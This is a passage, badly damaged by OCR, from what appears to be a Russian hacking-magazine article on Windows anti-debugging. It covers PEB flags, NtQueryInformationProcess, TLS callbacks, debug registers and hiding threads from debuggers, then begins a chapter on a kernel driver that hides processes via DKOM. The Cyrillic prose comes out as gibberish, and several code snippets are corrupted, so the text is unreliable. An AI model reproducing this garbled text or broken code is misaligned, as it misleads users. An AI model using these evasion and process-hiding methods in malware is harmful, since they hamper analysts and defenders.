MOTOMY YTO XKECTKO 3aBsfi3aHbl Ha CMELIEHHUs B apxuTekType x86. B aToM pasnene s pac-
CKa)XXy O HECKOJIBKMX METO/axX JeTeKTa OTJIaJ4MKa U MOKaxy KOJ, KOTopbii Oyaer pabo-
TaTh ¥ Ha X64, u Ha x86.

IsDebuggerPresent() u ctpyktypa PEB

HauuHare roBoputh 06 aHTHOT/IaZIKE U HE YNOMAHYTh 0 GyHkuun IsDebuggerPresent()
6bu10 Ob1 HenpaBWIbHO. OHAa yHHBepca/ibHa, paboTaeT Ha pa3HbIX APXUTEKTYpax U OYeHb
NpocTa B MCMOJb30BaHMM. YTOOBI OnpeaenuTs OTIAAKy, JAOCTaTOYHO OJHOM CTPOKH
Koza: if (IsDebuggerPresent()).

Yro npencrasaser coboi IsDebuggerPresent? Dra QyHkuus obpamaercs kK CTpyKType
PEB.

Brok okpyxeHus npouecca (PEB) 3anonHseTcs 3arpy3qnkoM onepaLOHHON CUCTEMBI, Ha-
XOAWUTCH B aApecHOM NPOCTPaHCTBE npouecca N MoXeT BbiTb MoAUMULMPOBaH U3 pexuma
usermode. OH COAEpPXUT MHOro NOnei: Hanpumep, OTCIOAA MOXHO y3HaTb MHGOPMaLMIO
0 TeKyLleM Moayne, OKpPYXEHUU 1 3arpyXeHHbix moaynsix. lonyunts cTpyktypy PEB mox-
HO, o6paTuBLIMCE K Hel Hanpsimyio no aapecy fs:[30h] ans x86 u gs:[60h] ansa x64.

CoOTBETCTBEHHO, €C/IH 3arpy3uTh B oTaaa4uk ¢yHkuuio IsDebuggerPresent(), Ha x86-
CHCTEME Mbl YBUIHM:

mov eax,dword ptr fs:[30h]
movzx eax,byte ptr [eax+2]
ret
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A Ha x64 xon Oynet Takum:

mov rax,qword ptr gs:[60h]
movzx eax,byte ptr [rax+2]
ret

Yro 3Hauut byte ptr [rax+2]? [To stomy cmemenuto Haxoautes nosie BeingDebugged
B cTpykType PEB, koTOpoe M curHanusupyer HaM o ¢akre omiaakd. Kak eme MoxHO
ucnones3zoBatk PEB s oGHapysxeHus otnaaku?

NtGlobalFlag

Bo Bpems omnagku cucrema BoictaBiser ¢naru  FLG_HEAP_VALIDATE_
PARAMETERS, FLG_HEAP _ENABLE_TAIL_CHECK, FLG_HEAP_ENABLE_
FREE_CHECK, B none NtGlobalFlag, kotopoe Haxonutcs B ctpykType PEB. Omnan-
YUK MCIOJB3YeT 3TH (hj1aru Ui KOHTPOJIS pa3pylleHHs! Ky4H MOCPEACTBOM MepernoiHe-
Hus. buroBas macka ¢naros — 0x70. Cmemenune NtGlobalFlag 8 PEB s x86 cocras-
aser 0x68, nns x64 — 0xBC. YtoObl mokaszaTh mpuMep Koja J€TeKTa OTJIafA4YMKa Mo
NtGlobalFlag, Bocnionbzyemcsi pyHKUMAMH intrinsics, a 4ToObl ko Obu1 Gosee yHUBEp-
CaJIbHbIM, UCTIOJIb3yeM JUPEKTHBBI MpernpoLeccopa:

#ifdef WING64

DWORD pNtGlobalFlag = NULL;
PPEB pPeb = (PPEB) readgsqword (0x60);
pNtGlobalFlag = * (PDWORD) ( (PBYTE)pPeb + 0xBC) ;

#else

DWORD pNtGlobalFlag = NULL;
PPEB pPeb = (PPEB)__readfsdword (0x30) ;
pNtGlobalFlag = * (PDWORD) ( (PBYTE)pPeb + 0x68);

#endif

if ((pNtGlobalFlag & 0x70) != 0) std::cout << "Debugger detected!\n";

Flags v ForceFlags

PEB Taioke conepxxut ykasatenb Ha cTpyktypy _HEAP, B xotopoit ectb nons Flags u
ForceFlags. Korna otnaguuk nojacoeauned k npuiokeHuto, nons Flags u ForceFlags
cozepxat npusHaku otnaaku. ForceFlags npu omiiazke He NOMKHO OBIT PABHO HYJIIO,
nose Flags e nomkxo 6b1Th paBHo 0x00000002:

#ifdef WING4

PINT64 pProcHeap = (PINT64) (_ readgsqword(0x60) + 0x30); \\ TMonyuaem
CcTpykTypy _HEAP uepes PEB



O—— 106 —0O

PUINT32 pFlags = (PUINT32) (*pProcHeap + 0x70); \\ THonyuaem Flags BHyTpu
_HEAP
PUINT32 pForceFlags = (PUINT32) (*pProcHeap + 0x74); \\ TNonyuaem ForceFlags

BHyTpu _HEAP
#else

PPEB pPeb = (PPEB) (_readfsdword(0x30) + 0x18);
PUINT32 pFlags = (PUINT32) (*pProcessHeap + 0x40);
PUINT32 pForceFlags = (PUINT32) (*pProcessHeap + 0x44);

#endif

if (*pFlags & ~HEAP GROWABLE || *pForceFlags != 0)
std::cout << "Debugger detected!\n";

CheckRemoteDebuggerPresent()
n NtQueryinformationProcess

Oynkuus CheckRemoteDebuggerPresent, kak u IsDebuggerPresent, kpocc-
ninaropMeHHas M NpoBepseT Hanuuue omiaauvka. Ee otinune ot IsDebuggerPresent
B TOM, YTO OHa yMEET MpPOBEPATh HE TOJBKO CBOHM MPOLIECC, HO U APYrHe MO UX XEHTY.
[TpoToTun (GyHKLUKH BBITISIUT ClieTyIOHUM 00pa3oM:

BOOL WINAPI CheckRemoteDebuggerPresent (
_In_ HANDLE hProcess,

_Inout_ PBOOL pbDebuggerPresent

)i

rae hProcess — xeHm1 npouecca, KOTOpbI MpoBepsieM Ha MpEeAMET MOAKIIIOUYEHHUS OT-
naguuvka, pbDebuggerPresent — pe3ysnbTaT BbINOJHEHUS (YHKUUH (COOTBETCTBEHHO,
TRUE unu FALSE). Ho camoe BaxxHOe OT/MuMe B paboTe 3TOM GYHKIIMH 3aKIH0YAETCs
B TOM, uTO OHa He Oepet undopmaumio u3z PEB, kak IsDebuggerPresent, a ucnonbsyer
¢dynkuuo WinAPI NtQueryInformationProcess. [IpotoTvn ¢yHKUNH BBIFISIUT TaK:

NTSTATUS WINAPI NtQueryInformationProcess (

In. HANDLE ProcessHandle,

_If. PROCESSINFOCLASS ProcessInformationClass,
_Out_ PVOID ProcessInformation,

_In_ ULONG ProcessInformationLength,
_Out_opt_ PULONG ReturnLength

)i

[Tone, koTopoe MOMOXKET HaM MOHATH, kak padotaeT CheckRemoteDebuggerPresent, —
910 ProcessInformationClass, xotopbiii npeacrasaser coboi OGONbLIYIO CTPYKTYpy
(enum) PROCESSINFOCLASS c¢ napamerpamu. @ynkuus CheckRemoteDebugger-
Present nepenaer B 510 nosie 3HaueHue 7, kotopoe ykasbiBaeT Ha ProcessDebugPort.
Jeno B ToM, 4TO MpH MOAKIIOUEHHH OTIaguMKa K rpoueccy B ctpyktype EPROCESS
3anonHsercs noje ProcessInformation, kotopoe B koze Ha3zBano DebugPort.
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Crpyktypa EPROCESS, unu 6nok npouecca, CoaepXuT MHOro MHdopMauuu o npouecce,
yKasaTenu Ha HeCKOnbKO CTPYKTYp AaHHbIX, B TOM yucne u Ha PEB. 3anonHseTcs ucnonnu-
TenbHon cuctemonn OC, HaxoAUTCA B CUCTEMHOM agpecHoM npocTpaHcTee (kernelmode),
Kak U BCce CBsidaHHble CTPYKTYyphl, kKpome PEB. Bce npouecchl UMeIoT 3Ty CTPYKTYpY.

Ecnu none 3anonHeHo, ¥ NOpT OTJIaZAKK Ha3Ha4Y€H, TO MPUHUMAETCS PELIEHUE O TOM, YTO
uner oranka. Kog mis CheckRemoteDebuggerPresent:

BOOL IsDbgPresent = FALSE;
CheckRemoteDebuggerPresent (GetCurrentProcess (), &IsDbgPresent);
if (IsDbgPresent) std::cout << "Debugger detected!\n";

Kon nepenauu mapamerpa ProcessDebugPort Hanpsmyio B ¢yHkuuo NtQueryInfor-
mationProcess:

Status = NtQueryInfoProcess (GetCurrentProcess(),
7, // ProcessDbgPort

&DbgPort,

dProcessInformationLength,

NULL) ;

if (Status == 0x00000000 && DbgPort != 0) std::cout << "Debugger detected!\n";

ITepemennas Status umeer Tun NTSTATUS u curHanuzupyer Ham o0 ycrexe Wi He-
ycnexe BelnoaHeHus ¢pyHkuuu; B DbgPort npoBepsieM, Ha3Ha4eH MOPT WM MOJie HyJe-
Boe. Ecnu dyHkums orpaborana 6e3 omnbok u BepHyna cratyc 0 u DbgPort umeer He-
HyJIEBOE 3HaYEHHE, TO MOPT Ha3HAYEH U UIET OTNIajKa.

ToHkocTH NTQUERYINFOPROCESS

HokymeHTtaums MSDN roesoput Ham, 4To ucnonb3oeate NtQuerylnfoProcess cneayet npu
NMOoMOLLM ANHAMUYECKOW NUHKOBKM, nonyyas ee agpec u3 ntdll.dll Hanpamyio, Yyepe3 dyHk-
uun LoadLibrary n GetProcAddress, u onpegenss npoToTun (PyHKUMK BPYYHYIO NpuU Mo-
mowum typedef:

typedef NTSTATUS (WINAPI *pNtQueryInformationProcess) (HANDLE, UINT, PVOID,
ULONG, PULONG) ;

NtQueryInfoProcess = (pNtQueryInformationProcess)GetProcAddress (LoadLibrary
(_T("ntdll.d11l")), "NtQueryInformationProcess"):;

Ho ¢ynkuus NtQueryInformationProcess MoxeT moka3arb HECKOJIBKO MPU3HAKOB OT-
naaku, U ProcessDebugPort — To1bK0 OMH K3 HUX.

DebugObiject

IIpu otnanke npunoxenus cosnaercsa DebugObject, o6bekt oaaku. Eciu NtQuerylIn-
formationProcess B none ProcessInformationClass nepenats 3Hauenue 0x1E, To oHo
ykaxkeT Ha dneMeHT ProcessDebugObjectHandle u npu otpaboTke ¢yHKLIMH Ham OyxaeT
BO3BpallleH XeHU1 o0bekTa omiaaki. Koa nmoxoxk Ha mpeablayliuid ¢ TeM OTJIHYHeM, YTO
BMecto 7 B none ProcessInformationClass nepenaercs 3Hauenue 0x1E u mensercs
YCJIOBHE MPOBEPKH:

if (Status == 0x00000000 && hDebObj) std::cout << "Debugger detected!\n";
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rae hDebObj — none ProcessInformation ¢ pesynstatoM. 31ech Bce Tak xke: GyHKLHUS
orpabotana npaBwibHO W BepHysna 0, hDebObj HenyneBoi. 3HauuT, 00BEKT OT/IAAKH
cOo31aH.

ProcessDebugFlags

Cnenyoumii MpU3HaK OTIAaAKH, KOTOpbIH HaM nokaxeT ¢yHkuus NtQueryInfoPro-
cess, — 310 none ProcessDebugFlags, nmeromee Homep Ox1F. [lepenaBas 3nauenue
0x1F, mbi 3actaBnsem ¢pyHkuuio NtQueryInfoProcess nokasare Ham none NoDebuglIn-
herit, kotopoe Haxonutcs B cTpyktype EPROCESS. Ecnu none paBHO Hy:io, 3TO 3Ha-
YWT, YTO B JaHHBIA MOMEHT npuioxeHue omiaxusaercs. Koa BoizoBa NtQueryInfoPro-
cess WJIeHTHYEH, MeHsieM Tolbko HoMep ProcessInformationClass u nposepky:

if (Status == 0x00000000 && NoDebugInherit == 0) std::cout << "Debugger
detected!\n";

NMpoBepka poauTensLCcKoOro npouecca

CyTb 3TOro aHTHOT/IAZOYHOIO METO/A 3aKJIFOYAEeTCs B TOM, YTO Mbl JOJDKHBI IPOBEPHTH,
K€M UMEHHO OBLTO 3aIyLleHO NMPUJIOKEHHE, KOTOPOE MBI 3aLLMILAEM: M0Tb30BaTE/IeM HITH
OTJIaMUKOM. DTOT CMOCOO MOXKHO pean30BaTh Pa3HBIMU MyTSAMH — IMPOBEPHUTH, ABJIS-
erca &M parent-mpoueccoM explorer.exe 160 He BBICTYNaeT 1M B 3TOM POJH
ollydbg.exe, x64dbg.exe, x32dbg u T. 1. Eciu nomneiTaThest pa3BUTh JOTMKY 3TOTO METO-
na oOHapy)XeHHs OTJIafKH, TO MPHUXOAMUT B IOJIOBY €Ll OJWH MPOCTONW METOH — IOy~
YUTb CHAMIIOT BCEX MPOLECCOB B CHCTEME M CPAaBHUTh Ha3BaHME KaKIAOrO CO CITMCKOM
M3BECTHBIX OTJIa4YHKOB.

[TpoBepaTh poauTeNbCKHiA MpoLecc Mbl OyeM NpU MOMOLIHM YK€ W3BECTHOM HaM (hyHK-
uuu NtQueryInformationProcess u ctpykrypel PROCESS _BASIC_INFORMATION
(none InheritedFromUniqueProcessld), a nomy4ars cnucok Bcex 3amylleHHBIX MPo-
ueccoB B cucteMe MoxkHO npu nomouiy CreateToolhelp32Snapshot/Process32First/
Process32Next. YToObl He mucaTh HE OTHOCAILMICS K JIeJTy KOJ MapcuHra Beex mnpoiec-
COB B CHCTEME, HalHILIEM TOJIBKO OCHOBHOM koA nomy4deHus ID poaurenbckoro npouecca
Y OCHOBHYIO MIPOBEPKY:

PROCESS_BASIC INFORMATION baselInf;

NtQueryInformationProcess (NtCurrentProcess (), ProcessBasicInformation,
&baseInf, sizeof (baseInf), NULL);

HUrak, B baselnf.InheritedFromUniqueProcessld naxoaurca ID npouecca, koTopbiii
nopoxaaer Haul. Ero MOXKHO MCMosib30BaTh KaK YroJHO: HampuMep, MOJYYHTh W3 HEro
uMms (aiina, Ha3BaHHe Mpoliecca U CPABHUTh C HMEHAMH OTJIATYMKOB WITH MPOBEPSATD, HE
explorer.exe 11 370.
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TLS Callbacks

DTOT HETPUBHAJIbHBIN METO/l AHTHOTIIAJIKK 3aK/IFOYaeTCs B TOM, YTO MbI BCTpaHUBaeM aH-
THoTnano4Hbie npuemsl B TLS Callbacks, koTopbie BBINOMHAIOTCS A0 BXOJHOH TOYKH
nporpammbl. BHyTpu camMoro npuyiokeHuss MOryT ObITh YCTAHOBJIEHBI TOYKH OCTaHOBA,
J1a ¥ BHUMaHHe Oy/IeT CKOHLEHTPUPOBAHO Ha OCHOBHOM KO/1€ MPUJIOKEHHUS, HO 3TOT MpH-
€M 3aBEpIIUT OTJIAJKY, Jake TOJIKOM ee He HadaB. KTo-To cuutaer 3toT cnocob BecbMa
MOI'y4MM, HO Ceiyac MpH MpaBUJIbHON HACTpOiKe OTJIaAuMKa MPOLECC OTJIAAKH MOXKET
ocraHasiuBatbes npu Bxoae B TLS Callbacks. To ecth npoTHB MaTepbiX peBepcepoB 3TO
HE CIAaceT, 3aTO OTCEET MHOIO LIKOJIbHUKOB, KOTOpPbIE He Oy1yT MOHUMATh, YTO MPOUCXO-
auT. YroObl peann3oBaTh 3TOT MeTO/ OOHapykeHHs, HEOOXOIUMO CKa3aThb KOMIMHIATOPY
co3nathk cexkuuto TLS takum koom:

#pragma comment (linker,"/include: tls used")

Cekums gowkHa umets umsi CRTSXLY:

#pragma section(".CRTS$XLY", long, read)

Cam koA UMITJIEMEHTALMH:

void WINAPI TlsCallback (PVOID pMod, DWORD Reas, PVOID Con)
{

if (IsDebuggerPresent()) std::cout << "Debugger detected!\n";
}

_ declspec(allocate (".CRT$XLB")) PIMAGE TLS CALLBACK CallTSL[] =
{CallTSL,NULL};

OTnago4Hbie perucTpbl

Eciu B 0T/Ia0uHBIX perucTpax ecTh Kakue-To JaHHble, TO 3TO elle oAMH mpu3Hak. Ho
JIeJI0 B TOM, YTO OTJIAJIOYHbIE PErucTpbl — MPUBUIETMPOBAHHBIM pecypc M MOJYy4YHThb
K HUM JOCTYN HanpsiMyl0 MOXHO TOJIBKO B pexkume sapa. Ho Mel monpoGyem nomyuuts
KOHTeKCT mnotoka npu nomouu ¢yHkumun GetThreadContext u Takum o6pa3om npouu-
TaTh JaHHBIE OTJIAJOYHBIX PerucTpoB. Bcero ormamouHbix peructpoB Bocemb, DRO—
DR?7. [TepBbie uetnipe peructpa DRO-DR3 coznepxar nHpOpMaLMIO O TOYKAX OCTAHOBA,
peructpsl DR4-DRS — 3apesepsuposatnbie, periuctp DR6 3anonusercs, koraa cpabo-
Tan OpelK-MOWHT OT/IaI4yMKa, U COAEpPKMT MHpopmaiuio 06 3ToM cobbiTHH. Pernctp
DR7 copepxut OUTHI ynipaBlieHHs OTJIaaKoM. MTak, HaM MHTepecHO, Kakas HHpopMaLus
COEPIKUTCS B MEPBBIX YETHIPEX PErHCTpaXx:

CONTEXT context = {};
context.ContextFlags = CONTEXT DEBUG_REGISTERS;

GetThreadContext (GetCurrentThread (), context);

if (ctx.Dr0 != 0 ||
ctx.Drl != 0 ||
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ctx.Dr2 != 0 ||
ctx.Dr3 != 0)
std::cout << "Debugger detected!\n";

NtSetinformationThread

Eume oOuH HeTpHBHATBHBIA METOJ AaHTHOTIAAKM OCHOBaH Ha mepenave ¢uiara
HideFromDebugger (naxogutcs B ctpyktype _ETHREAD 3a Homepom 0x11) B dyHK-
o NtSetInformationThread. Bot xak BeITISAUT NMPOTOTHN (HYHKLIUK:

NTSTATUS ZwSetInformationThread (

_In HANDLE ThreadHandle,

_In_ THREADINFOCLASS ThreadInformationClass,
_In_PVOID ThreadInformation,
_In_ULONG ThreadInformationLength

)

2toT MPpUEM CIIPAYET HAll MOTOK OT OTJIaA4YMKa, nepecraBad OTIIPABIATE EMY OTJIado4-
HBIC COGLITHH, HarpuMep TakKHe, Kak cpa6aTblBalee To4ek octaHoBa. OCOBEHHOCTE ITOrO
METO4a B TOM, YTO OH YHHBEPCAJIEH U pa60TaeT 6nar011apﬂ LITAaTHBIM BO3MOXXHOCTSAM
OC. Bor KOX, KOTOpBIﬁ pean3yeT OTCOCAUHEHHUE TJIABHOI'O MOTOKa NnporpaMmsel OT OT-
JJag4urKa:

NTSTATUS stat = NtSetInformationThread (GetCurrentThread(), Oxl11l, NULL, 0);

NtCreateThreadEx

[Mono6Ho mnpenpinymei pabotaer u ¢yHkuusi NtCreateThreadEx. Ona nossuiace
B Windows HauuHas ¢ Vista. Ee Toxe MOXHO HCMONb30BaTh B KA4ECTBE FOTOBOTO HHCT-
pymenta s npensarctBus oraaake. [lpunuun neiictBus cxox ¢ NtSetInforma-
tionThread — npu nepenaue napamerpa THREAD_CREATE_FLAGS_HIDE _
FROM_DEBUGGER B none CreateFlags npouecc Oyner HeBuaum ans aebarrepa.
[TpoTtoTHn YHKLIUH:

NTSYSCALLAPI

NTSTATUS

NTAPI

NtCreateThreadEx (

_Out_ PHANDLE ThreadHandle,
_In_ ACCESS MASK DesiredAccess,
_In opt_ POBJECT ATTRIBUTES ObjectAttributes,
_In_ HANDLE ProcessHandle,
_In_PVOID StartRoutine,

_In opt_PVOID Argument,

_In_ ULONG CreateFlags,

_In opt ULONG PTR ZeroBits,
_In opt SIZE T StackSize,
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_In opt SIZE T MaximumStackSize,
_In opt PVOID AttributelList
)i

Kon otkimouenus OTJIaq4yHKa:
HANDLE hThr = 0;

NTSTATUS status = NtCreateThreadEx (&hThr,
THREAD ALL ACCESS, 0, NtCurrentProcess,
(LPTHREAD START ROUTINE)next, O,
THREAD_CREATE FLAGS HIDE FROM DEBUGGER, 0, 0, 0, 0);

Iocne 3toro HaunHaer pabotate ¢yHkuus next() u3 WinAPI, kotopas Haxoautcs B OT-
J€JIbHOM HEBUJIUMOM /ISl OT/IaAYMKa Tpese.

SeDebugPrivilege

OavH M3 MPHU3HAKOB OTJIAAKH MPUIIOKEHHS — MOTyYEHHE TIPHIOKEHHEM TPUBHUIIETUH
SeDebugPrivilege. UtoObl MoHATH, €CTh JIK Takas NPHUBWJIETHS Yy Hallero mnpouecca,
MO>KHO, HarpuMep, MOTBITaThCS OTKPBITh KaKoM-HUOYIb cucTeMHblit npouecc. Ilo Tpa-
IMLUMH  TpoOyeM OTKpbITh csrss.exe. Jlns storo wucnonsdyem ¢yHkuuio WinAPI
OpenProcess ¢ napametpom PROCESS_ALL_ACCESS. Bor kak peanusyercs 3TOT
metoz (B nepemenHoi Id_From_csrss Haxoautcs ID csrss.exe):

HANDLE hDebug = OpenProcess (PROCESS ALL ACCESS, FALSE, Id From csrss);
if hDebug != NULL) std::cout << "Debugger detected!\n";

SetHandlelnformation

Oyukuns SetHandleInformation npuMeHsiercss 1isi yCTaHOBKU CBOWCTB JE€CKpUMTOpa
00bekToB, Ha KOTOpbIi ykasbiBaeT hObject. [IporoTun GyHKUMM BBIMISANT ClI€LYyHOLHM
obpazom:

BOOL SetHandleInformation (
HANDLE hObject,
DWORD dwMask,
DWORD dwFlags

)7

Tunbl 00beKTOB pa3TMuHbI — HanpUMep, 3TO MOXKET ObITh 3aJaHue, oToOpaxeHHe (aiina
WIH MBIOTEKC. MBI MOXKEM 3THM BOCIIOJIb30BAaThCS: CO3JaJMM MBIOTEKC ¢ (hrarom
HANDLE_FLAG_PROTECT_FROM_CLOSE u nonpo0GyeM ero 3aKkpbiTb, MOMYTHO
nbITasiCch MoMmare uckimouyenue. Ecnu uckiioueHre Oyner moiMaHo, TO mpolecc oTia-
HKUBACTCS:

HANDLE hMyMutex = CreateMutex (NULL, FALSE, T ("MyMutex"));

SetHandleInformation (hMyMutex, HANDLE FLAG_PROTECT FROM CLOSE,
HANDLE_FLAG PROTECT FROM CLOSE) ;
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_try |
CloseHandle (hMutex) ;
}

__except (HANDLE FLAG PROTECT FROM CLOSE) {
std::cout << "Debugger detected!\n";

3aknoyeHue

MBI paccMOTpeNnn HECKONBKO COCOOOB 3alllMThI MPHIOKEHHUs OT OTIanaku. S crapacs
MoKa3aTh pa3Hble METOIbI OTJIAJIKU U pacckasaTh, Kak OHU pabOTAlOT Ha HU3KOM YpPOBHE.
Yto6sI yule pa3dupaThes B TOM, YTO MPOUCXOMUT, Thl JOJDKEH MOHUMAThb, Kak paboTaeTr
OC, kak NMpWIOXKEHHE B3aUMOIEHCTBYET C Pa3sHbIMH CTPYKTYpaMH OKPY)KEHHs MOTOKa
U npouecca. Hameroch, Most cTaTbst MOMosKeT Tebe B 9TOM M HayuuT Gosnee 3ddexTHBHO
3alHMLIATh MPUJIOKEHUS OT JTIOOOMBITHBIX PEBEPCEPOB M aBTOMATHUYECKUX CHCTEM pacria-
KOBKH M aHaJIM3a.
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10. Kak caenartb cBOM ApanBep pexuma
aapa Windows u ckpbiBaTb npouecchl

Nik Zerof

Bce mMano-manbeku cepbe3Hbie 3aliUTHbIE PUIoKeHUs, Oyab TO (halpBOJIbl UM AHTUBHU-
PYChI, HCMOMB3YIOT COOCTBEHHBbIE MOYJIH peskuma szipa (ring 0), yepe3 koTopblie paboTa-
eT OOJIBIIMHCTBO MX (YHKIIMIA: 3a1HTA MPOLECCOB OT 3aBeplieHUs, GUIBTPbI Pa3TUYHBIX
COOBITHIA, NMOTyYeHHE aKTyalbHON UH(OpPMALMK O COCTOSIHUM CeTEBOro TpaduKa v KOJIH-
YecTBe MPOLIECCOB B cucTeMe. Eciu y mporpaMMbl €CTh TakoW jpaieep, TO MpoOoBaTh
CKpBIBAaTbCS OT Hee U3 pexxuma rojb3oBatess (ring 3) 6eccmbicneHHo. Tak xke Oecriones-
HO MBITAaThCs HA HeEe KaK-TO BO3/EMCTBOBATh. PellieHre — HanmucaTh COOCTBEHHbIH Jpaii-
Bep. B aTOM paznene s nmokaxy, kak 9TO Jesaercs.

MpoueccopHbie apxutekTypbl X86 ¥ x64 uMelT 4YeTbipe Komnbua 3aluTbl, U3 KOTOPbIX
B Windows no akTy ucnonb3ytoTcs BCero gsa — 3To ring 3 (pexum nons3osartens) v ring 0
(pexum aapa). BeiTyeT MHeHue, YTO KOA4 pexuma sapa — Cambli NPUBUIErMPOBaHHbLIA U
«HWXe» Huyero HeT. Ha camom aene apxutektypa x86/x64 no3BonseT onyckaTbCs eLe Hu-
Xe: 3To TexHonorus BupTyanusauum (hypervisor mode), koTopasi cuMTaeTca konbuom -1
(ring -1), 1 pexum cuctemHoro ynpasnenus (System Management Mode, SMM), cuuTato-
LLIMICS KonbLoM -2 (ring -2), KOTOPOMY AOCTYMHA NaMsATh peXuma sapa v runepsusopa.

Wrak, Mbi peluuau nucath coOCTBEHHbIH apaiiBep. HauHem ¢ BbiOOpa MHCTpyMeHTapus.
S coseryro ucnonb3oBate Microsoft Visual Studio, kak nauGonee user-friendly IDE.
Takke HeoOxoxumo Oyzet ycranosuts Windows SDK u Windows Driver Kit (WDK)
qutst TBoer Bepcun OC. Kpome Toro, s KpaiiHe peKOMEHIYIO 3aMacTUCh TAKUMH YTHIIUTa-
mu, kak DebugView (npocmotp oriagouHoro BeiBoaa, https://docs.microsoft.com/en-
us/sysinternals/downloads/debugview). DriverView (1103BoJi€T NOJY4UTb CIIUCOK BCEX
YCTaHOBJICHHbIX ~ apaiiBepoB,  https://www.nirsoft.net/utils/driverview.html)  wu
KmdManager (yaoGHbiii 3arpy3unk apaiisepos, http://www.website.masmforum.com/
tutorials/kmdtute/index.html).

[paiiepsl B Windows HauuHas ¢ Vista MOoryT ObITh Kak pexuma noss3oatess (User-
Mode Driver Framework, UMDF), Tak u pexxuma siapa (Kernel-Mode Driver Framework,
KMDF). bonee pannue npaiisepsi Windows Driver Model (WDM) nosBuaucs B Win-
dows 98 u celfuac cunTaroTCs ycTapeBUIMMHU.

Hpaiisepel UMDF umetor HamHoro Gosiee orpaHuueHHbie rnpasa, yeM KMDF, oanako
OHM MCIOJIB3YIOTCS, HAanpuMmep, A/ yNpaBi€HUs YCTPOMCTBAMH, MOJAKIFOYEHHBIMU I10
USB. IloMumo orpaHu4eHUi, y HUX €CTb OYEBMIHbIE TUIIOCHI: UX HAMHOIO Npoule OTJia-
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JKMBaTh, a OLIMOKA B MX HAIMKMCAHWH HE BBI3OBET INIOOAIBHBIA CUCTEMHBIN COOM U CUHUHN
aKkpaH cmeptu. Takue apaiiBepbl UMetOT pacuivpenue .dll.

Yro no npaiiepoB pexxuma sapa (KMDF), To um no3BosneHo kyna Gombiie, a pacurupe-
Hue (aiioB, 3aKperyieHHOe 3a HUMH, — 3TO .8yS. B 3ToM pa3szene Mbl HayunMcs nucathb
MpOoCThIe [ApaiiBepbl peKUMAa sJ(pa, HaMULIEM IpaliBep MUl CKPbITHS NPOLIECCOB METOAOM
DKOM (Direct Kernel Object Manipulation) 1 ero 3arpy3uuk.

B coBpemeHHbix Bepcuax Windows ycTraHoBka HENoANUCAHHbIX ApaviBEpOB Bbi3bliBAET
cnoxHocTu: B 64-paspsaaHbix OC HauuHas ¢ Windows 7 Hanuuue uMdpoBov noanucu apain-
Bepa — obsi3atenbHoe ycnosue. B akcnepuMeHTanbHbIX LEnsxX MOXHO noagnucatb co3aan-
HbIW apaiiBep «TecToBow» nognuceio B Microsoft Visual Studio. 3aTtem HyxHO nepesectu
cuctemy B pexxum Tectuposanus (Test mode), 4tobbl TecToBas noanuck Gbina npuHATa npu
ycTaHoBke Apaiisepa. bonee noapobHyo Hdopmaumio MOXHO nouyutaTtb Ha cante MSDN
no ccoinke: https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/
debug-universal-drivers--kernel-mode-. B «60eBbix» ycnousx o6bI4HO UCNONb3YIOT ApY-
rMe MeToAbl NMOonyyYeHus BanuaHoW UMdpPOBOW MOAMUCK, ONUCAHWUA KOTOPbIX BbIXOAAT 3a
pamku aTon nyGnuKaumm — HyXXHYI0 MHOPMaLMIO MOXHO HaWTW, HanpUMep, Ha CTpaHuLax
XypHana «Xakep».

Cos3panue gpanBepa KMDF

Iocne Toro kak Thl co3/allb MPOEKT ApaiiBepa, Visual Studio aBroMaTHuecku HACTPOUT
HekoTopble napaMeTpbl. [IpoekT OyaeT koMnuIMpoBaThesi B OMHApHBIA (aiin B cooTBeT-
CTBHU C TeM, kakas BbiOpaHa moacucrema. Ham Bapuant — 310 NATIVE, noacucrema
HH3KOTO YPOBHS, Kak pa3 Jjisl TOro, YToObl MMCaTh ApanBephl.

Touka Bxoaa B ApawuBep

CTtporo roBopsi, To4ka BXoJa B ApaiBep MOXeT ObITh JIFOO0H — MBI MOJKEM CaMH ee Ofl-
penenuTb, n00aBMB K MapaMeTpaM KOMIIOHOBKM npoekra -entry:[DriverEntry], raoe
[DriverEntry] — Ha3anue (yHKUMH, KOTOPYKO Mbl XOTHM cJeflaTh CTapToBOM. Ecnm
B OOBIYHBIX MPUJIOKEHUSIX OCHOBHAs (YHKLHMs 0OBIYHO Ha3bIBaeTCs main, TO B JpaiiBe-
pax TOuKy BXxoza MpuHATO Ha3biBaTh DriverEntry. Boirnsaners aTo Oyner Tak:

NTSTATUS DriverEntry (PDRIVER OBJECT pDriverCbject, PUNICODE STRING
PRegistryPath) ;

JaBaii npolineMcs no napamerpam, KOTOpbIE NepenaroTcs DriverEntry. pDriverObject
umeer tMn PDRIVER_OBJECT, 3T0 3Ha4uT, 4YTO 3TO YyKa3aTeslb Ha CTPYKTYpY
DRIVER_OBJECT, kotopas coaepKuT HH(popMalHIO O HalleM JpaiiBepe. Mbl MOXxeM
MEHSATh HEKOTOPbIE OISl 3TOM CTPYKTYpPhI, TEM CaMblM MEHss CBOWCTBA ApaiiBepa. Bro-
poii mapametp umeer Tun PUNICODE_STRING, koropeiii O3HayaeT ykasaTejb Ha
ctpoky thna UNICODE. Ona, B cBOIO O4epe/ib, YKa3bIBA€T, T1€ B CHCTEMHOM peecTpe
XpaHUTCs MHGOpMaLIKs O HallleM JpaiiBepe.

Jliobas ownbka B ApariBepe MOXeT Bbi3BaTh obiecucteMHbin coori 1 BSOD. BeposaTHa no-
Teps AaHHbIX U NOBpeXAeHWe CUCTeMbl. Bce aKkCnepUMEHTbl i peKOMeHAylo NpoBoOAUTbL
B BUPTyasnbHOI MalLnHe.
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Interrupt Request Level (IRQL)

IRQL — 310 cBOCOOpa3Hblit «npropuTeT» s ApaiiBepoB. Uem Boime IRQL, TeM MeHb-
1Iee YUCII0 APYTruX ApaiBepoB OyoyT mpepbiBaTh BINONHEHHE Haulero koaa. CyuiecTy-
eT Heckosbko ypoBHed IRQL: Passive, APC, Dispatch u DIRQL. Ecnu oTkpbITh O0OKY-
meHTauio MSDN no dynkumam WinAPIL, To MOXHO yBHAETh NPUMEUYAHHUS, PErTAMEH-
Thpytomue ypoBeHb IRQL, koTopslii TpeOyercs mns obpaieHus K Kaxaod (yHKLHH.
Yem BbllIE 3TOT ypoBeHb, TeM MeHblie WinAPl HaM AOCTYMHO Ans HCMONB30BaHHUSL.
Ilepsbie Tpu ypoBHs IRQL ucronb3yroTcs Ui CHHXPOHHM3ALMK NMPOrpaMMHBIX YacTei
